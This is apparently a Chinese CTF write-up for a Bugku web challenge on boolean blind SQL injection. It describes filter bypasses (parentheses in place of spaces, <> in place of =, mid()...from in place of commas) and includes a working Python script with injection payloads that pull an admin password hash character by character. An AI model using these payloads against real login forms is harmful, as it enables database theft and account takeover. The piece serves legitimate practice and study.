wp-Bugkuctf-web-38(sql注入)【附脚本】
写在前面
本题提示是布尔注入,在之前的布尔注入中,一般是针对能否登录的布尔来进行信息获取,这里是利用username是否存在的布尔来进行信息获取,同时伴随着一些关键字过滤,对于布尔注入的进一步学习有一些帮助。
WP
首先弱密码尝试,显示 password error
更改后显示 username does not exist
这里就是一组布尔,存在与否
输一些关键字测试一下:
and,or,=,' '
看来有关键字屏蔽,并且大小写混用没啥用。
继续测试发现…还过滤了空格,逗号,等号,for
空格用括号代替,等号用相反的<>
(一种不等号)代替
之前的一组布尔要与payload结合起来,形成true/false的布尔。
这里使用^
异或或者or
来实现都可以。
具体方法在脚本中以注释形式给出:
#布尔盲注不仅仅是在密码正确和密码错误两种情况下,比如你输入账户,可能出现“账户不存在”和“存在”两种情况,这也是布尔。
import requests
import string,hashlib
url = 'http://114.67.246.176:19665/'
sss = string.digits + (string.ascii_lowercase)
a = ''
for i in range(1, 50):
flag = 0
for j in sss:
payload = "admin'^((ascii(mid((select(password)from(admin))from(%s))))<>%s)^1#" % (i, ord(j))
#屏蔽了",",改用mid()函数,from表示起始位置
#ascii()当传入一个字符串时取出第一个字母的ascii(),相当于mid()的第二参数,for取出,也相当于limit
#<>表示不等号
#^表示异或
payload2= "admin123'or((ascii(mid((select(password)from(admin))from(%s))))<>%s)#"%(i,ord(j))
#由于没有屏蔽or,所以也可以用这个,可以形成一组布尔
payload3= "admin123'or((ascii(mid((select(database()))from(%s))))<>%s)#"%(i,ord(j))
data = {'username': payload, 'password': 'admin'}
res = requests.post(url, data=data).text
if 'username does not exist!' in res:
a += j
flag = 1
print(a)
break
if flag == 0:
break
print(a)
脚本跑出为md5加密值,碰撞来解密出密码
输入密码即可